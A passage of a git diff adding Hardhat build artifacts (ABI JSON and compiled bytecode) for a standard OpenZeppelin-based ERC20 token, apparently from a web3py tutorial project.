2915050565b60008060408385031215611ab257600080fd5b6000611ac085828601611947565b9250506020611ad185828601611932565b9150509250929050565b600060208284031215611aed57600080fd5b6000611afb8482850161195c565b91505092915050565b611b0d8161240b565b82525050565b611b1c81612417565b82525050565b6000611b2d826122ee565b611b3781856122f9565b9350611b47818560208601612484565b611b5081612571565b840191505092915050565b6000611b66826122ee565b611b70818561230a565b9350611b80818560208601612484565b80840191505092915050565b6000611b996020836122f9565b91507f537472696e67733a20686578206c656e67746820696e73756666696369656e746000830152602082019050919050565b6000611bd96023836122f9565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c3f6022836122f9565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ca56022836122f9565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611d0b6026836122f9565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611d716028836122f9565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611dd76021836122f9565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e3d6025836122f9565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ea36024836122f9565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f0960178361230a565b91507f416363657373436f6e74726f6c3a206163636f756e74200000000000000000006000830152601782019050919050565b6000611f496025836122f9565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611faf60118361230a565b91507f206973206d697373696e6720726f6c65200000000000000000000000000000006000830152601182019050919050565b6000611fef602f836122f9565b91507f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008301527f20726f6c657320666f722073656c6600000000000000000000000000000000006020830152604082019050919050565b6000612055601f836122f9565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6120918161246d565b82525050565b6120a081612477565b82525050565b60006120b182611efc565b91506120bd8285611b5b565b91506120c882611fa2565b91506120d48284611b5b565b91508190509392505050565b60006020820190506120f56000830184611b04565b92915050565b60006020820190506121106000830184611b13565b92915050565b600060208201905081810360008301526121308184611b22565b905092915050565b6000602082019050818103600083015261215181611b8c565b9050919050565b6000602082019050818103600083015261217181611bcc565b9050919050565b6000602082019050818103600083015261219181611c32565b9050919050565b600060208201905081810360008301526121b181611c98565b9050919050565b600060208201905081810360008301526121d181611cfe565b9050919050565b600060208201905081810360008301526121f181611d64565b9050919050565b6000602082019050818103600083015261221181611dca565b9050919050565b6000602082019050818103600083015261223181611e30565b9050919050565b6000602082019050818103600083015261225181611e96565b9050919050565b6000602082019050818103600083015261227181611f3c565b9050919050565b6000602082019050818103600083015261229181611fe2565b9050919050565b600060208201905081810360008301526122b181612048565b9050919050565b60006020820190506122cd6000830184612088565b92915050565b60006020820190506122e86000830184612097565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006123208261246d565b915061232b8361246d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156123605761235f612513565b5b828201905092915050565b60006123768261246d565b91506123818361246d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123ba576123b9612513565b5b828202905092915050565b60006123d08261246d565b91506123db8361246d565b9250828210156123ee576123ed612513565b5b828203905092915050565b60006124048261244d565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156124a2578082015181840152602081019050612487565b838111156124b1576000848401525b50505050565b60006124c28261246d565b915060008214156124d6576124d5612513565b5b600182039050919050565b600060028204905060018216806124f957607f821691505b6020821081141561250d5761250c612542565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61258b816123f9565b811461259657600080fd5b50565b6125a281612417565b81146125ad57600080fd5b50565b6125b981612421565b81146125c457600080fd5b50565b6125d08161246d565b81146125db57600080fd5b5056fea2646970667358221220b8c83209c32febaacd329195978ceeaf54149d895ada322dff0523471f61b4aa64736f6c63430008000033",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/18-web3py/ABI/MyTokenOpenZeppelin.json b/basic/18-web3py/ABI/MyTokenOpenZeppelin.json
new file mode 100644
index 000000000..4d00ed1b5
--- /dev/null
+++ b/basic/18-web3py/ABI/MyTokenOpenZeppelin.json
@@ -0,0 +1,292 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "MyTokenOpenZeppelin",
+  "sourceName": "contracts/my_erc20_openzeppelin.sol",
+  "abi": [
+    {
+      "inputs": [
+        {
+          "internalType": "uint256",
+          "name": "initialSupply",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "constructor"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Approval",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "from",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "to",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Transfer",
+      "type": "event"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        }
+      ],
+      "name": "allowance",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "approve",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "balanceOf",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "decimals",
+      "outputs": [
+        {
+          "internalType": "uint8",
+          "name": "",
+          "type": "uint8"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "subtractedValue",
+          "type": "uint256"
+        }
+      ],
+      "name": "decreaseAllowance",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "addedValue",
+          "type": "uint256"
+        }
+      ],
+      "name": "increaseAllowance",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "name",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "symbol",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "totalSupply",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transfer",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transferFrom",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    }
+  ],
+  "bytecode": "0x60806040523480156200001157600080fd5b506040516200184638038062001846833981810160405281019062000037919062000321565b6040518060400160405280601381526020017f4d79546f6b656e4f70656e5a657070656c696e000000000000000000000000008152506040518060400160405280600481526020017f4d544f5a000000000000000000000000000000000000000000000000000000008152508160039080519060200190620000bb9291906200025a565b508060049080519060200190620000d49291906200025a565b505050620000e93382620000f060201b60201c565b5062000505565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000163576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200015a90620003a0565b60405180910390fd5b62000177600083836200025560201b60201c565b80600260008282546200018b9190620003f0565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001e29190620003f0565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002499190620003c2565b60405180910390a35050565b505050565b828054620002689062000457565b90600052602060002090601f0160209004810192826200028c5760008555620002d8565b82601f10620002a757805160ff1916838001178555620002d8565b82800160010185558215620002d8579182015b82811115620002d7578251825591602001919060010190620002ba565b5b509050620002e79190620002eb565b5090565b5b8082111562000306576000816000905550600101620002ec565b5090565b6000815190506200031b81620004eb565b92915050565b6000602082840312156200033457600080fd5b600062000344848285016200030a565b91505092915050565b60006200035c601f83620003df565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200039a816200044d565b82525050565b60006020820190508181036000830152620003bb816200034d565b9050919050565b6000602082019050620003d960008301846200038f565b92915050565b600082825260208201905092915050565b6000620003fd826200044d565b91506200040a836200044d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200044257620004416200048d565b5b828201905092915050565b6000819050919050565b600060028204905060018216806200047057607f821691505b60208210811415620004875762000486620004bc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b620004f6816200044d565b81146200050257600080fd5b50565b61133180620005156000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610ffa565b60405180910390f35b6100e660048036038101906100e19190610c73565b610308565b6040516100f39190610fdf565b60405180910390f35b610104610326565b60405161011191906110fc565b60405180910390f35b610134600480360381019061012f9190610c24565b610330565b6040516101419190610fdf565b60405180910390f35b610152610428565b60405161015f9190611117565b60405180910390f35b610182600480360381019061017d9190610c73565b610431565b60405161018f9190610fdf565b60405180910390f35b6101b260048036038101906101ad9190610bbf565b6104dd565b6040516101bf91906110fc565b60405180910390f35b6101d0610525565b6040516101dd9190610ffa565b60405180910390f35b61020060048036038101906101fb9190610c73565b6105b7565b60405161020d9190610fdf565b60405180910390f35b610230600480360381019061022b9190610c73565b6106a2565b60405161023d9190610fdf565b60405180910390f35b610260600480360381019061025b9190610be8565b6106c0565b60405161026d91906110fc565b60405180910390f35b6060600380546102859061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061122c565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061107c565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061114e565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061122c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110dc565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b6906110bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061103c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d91906110fc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109819061109c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f19061101c565b60405180910390fd5b610a05838383610b90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a829061105c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e919061114e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8291906110fc565b60405180910390a350505050565b505050565b600081359050610ba4816112cd565b92915050565b600081359050610bb9816112e4565b92915050565b600060208284031215610bd157600080fd5b6000610bdf84828501610b95565b91505092915050565b60008060408385031215610bfb57600080fd5b6000610c0985828601610b95565b9250506020610c1a85828601610b95565b9150509250929050565b600080600060608486031215610c3957600080fd5b6000610c4786828701610b95565b9350506020610c5886828701610b95565b9250506040610c6986828701610baa565b9150509250925092565b60008060408385031215610c8657600080fd5b6000610c9485828601610b95565b9250506020610ca585828601610baa565b9150509250929050565b610cb8816111b6565b82525050565b6000610cc982611132565b610cd3818561113d565b9350610ce38185602086016111f9565b610cec816112bc565b840191505092915050565b6000610d0460238361113d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d6a60228361113d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dd060268361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e3660288361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e9c60258361113d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0260248361113d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f6860258361113d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fca816111e2565b82525050565b610fd9816111ec565b82525050565b6000602082019050610ff46000830184610caf565b92915050565b600060208201905081810360008301526110148184610cbe565b905092915050565b6000602082019050818103600083015261103581610cf7565b9050919050565b6000602082019050818103600083015261105581610d5d565b9050919050565b6000602082019050818103600083015261107581610dc3565b9050919050565b6000602082019050818103600083015261109581610e29565b9050919050565b600060208201905081810360008301526110b581610e8f565b9050919050565b600060208201905081810360008301526110d581610ef5565b9050919050565b600060208201905081810360008301526110f581610f5b565b9050919050565b60006020820190506111116000830184610fc1565b92915050565b600060208201905061112c6000830184610fd0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611159826111e2565b9150611164836111e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111995761119861125e565b5b828201905092915050565b60006111af826111c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112175780820151818401526020810190506111fc565b83811115611226576000848401525b50505050565b6000600282049050600182168061124457607f821691505b602082108114156112585761125761128d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6112d6816111a4565b81146112e157600080fd5b50565b6112ed816111e2565b81146112f857600080fd5b5056fea264697066735822122072c074eb00e17a9607213a2f41789d812c774ed7eb407a03070b64f8df0c45c264736f6c63430008000033",
+  "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610ffa565b60405180910390f35b6100e660048036038101906100e19190610c73565b610308565b6040516100f39190610fdf565b60405180910390f35b610104610326565b60405161011191906110fc565b60405180910390f35b610134600480360381019061012f9190610c24565b610330565b6040516101419190610fdf565b60405180910390f35b610152610428565b60405161015f9190611117565b60405180910390f35b610182600480360381019061017d9190610c73565b610431565b60405161018f9190610fdf565b60405180910390f35b6101b260048036038101906101ad9190610bbf565b6104dd565b6040516101bf91906110fc565b60405180910390f35b6101d0610525565b6040516101dd9190610ffa565b60405180910390f35b61020060048036038101906101fb9190610c73565b6105b7565b60405161020d9190610fdf565b60405180910390f35b610230600480360381019061022b9190610c73565b6106a2565b60405161023d9190610fdf565b60405180910390f35b610260600480360381019061025b9190610be8565b6106c0565b60405161026d91906110fc565b60405180910390f35b6060600380546102859061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061122c565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061107c565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061114e565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061122c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110dc565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b6906110bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061103c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d91906110fc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109819061109c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f19061101c565b60405180910390fd5b610a05838383610b90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a829061105c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e919061114e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8291906110fc565b60405180910390a350505050565b505050565b600081359050610ba4816112cd565b92915050565b600081359050610bb9816112e4565b92915050565b600060208284031215610bd157600080fd5b6000610bdf84828501610b95565b91505092915050565b60008060408385031215610bfb57600080fd5b6000610c0985828601610b95565b9250506020610c1a85828601610b95565b9150509250929050565b600080600060608486031215610c3957600080fd5b6000610c4786828701610b95565b9350506020610c5886828701610b95565b9250506040610c6986828701610baa565b9150509250925092565b60008060408385031215610c8657600080fd5b6000610c9485828601610b95565b9250506020610ca585828601610baa565b9150509250929050565b610cb8816111b6565b82525050565b6000610cc982611132565b610cd3818561113d565b9350610ce38185602086016111f9565b610cec816112bc565b840191505092915050565b6000610d0460238361113d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d6a60228361113d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dd060268361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e3660288361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e9c60258361113d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0260248361113d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f6860258361113d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fca816111e2565b82525050565b610fd9816111ec565b82525050565b6000602082019050610ff46000830184610caf565b92915050565b600060208201905081810360008301526110148184610cbe565b905092915050565b6000602082019050818103600083015261103581610cf7565b9050919050565b6000602082019050818103600083015261105581610d5d565b9050919050565b6000602082019050818103600083015261107581610dc3565b9050919050565b6000602082019050818103600083015261109581610e29565b9050919050565b600060208201905081810360008301526110b581610e8f565b9050919050565b600060208201905081810360008301526110d581610ef5565b9050919050565b600060208201905081810360008301526110f581610f5b565b9050919050565b60006020820190506111116000830184610fc1565b92915050565b600060208201905061112c6000830184610fd0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611159826111e2565b9150611164836111e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111995761119861125e565b5b828201905092915050565b60006111af826111c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112175780820151818401526020810190506111fc565b83811115611226576000848401525b50505050565b6000600282049050600182168061124457607f821691505b602082108114156112585761125761128d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6112d6816111a4565b81146112e157600080fd5b50565b6112ed816111e2565b81146112f857600080fd5b5056fea264697066735822122072c074eb00e17a9607213a2f41789d812c774ed7eb407a03070b64f8df0c45c264736f6c63430008000033",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/18-web3py/ABI/Strings.json b/basic/18-web3py/ABI/Strings.json
new file mode 100644
index 000000000..988ff1466
--- /dev/null
+++ b/basic/18-web3py/ABI/Strings.json
@@ -0,0 +1,10 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "Strings",
+  "sourceName": "contracts/openzeppelin/Strings.sol",
+  "abi": [],
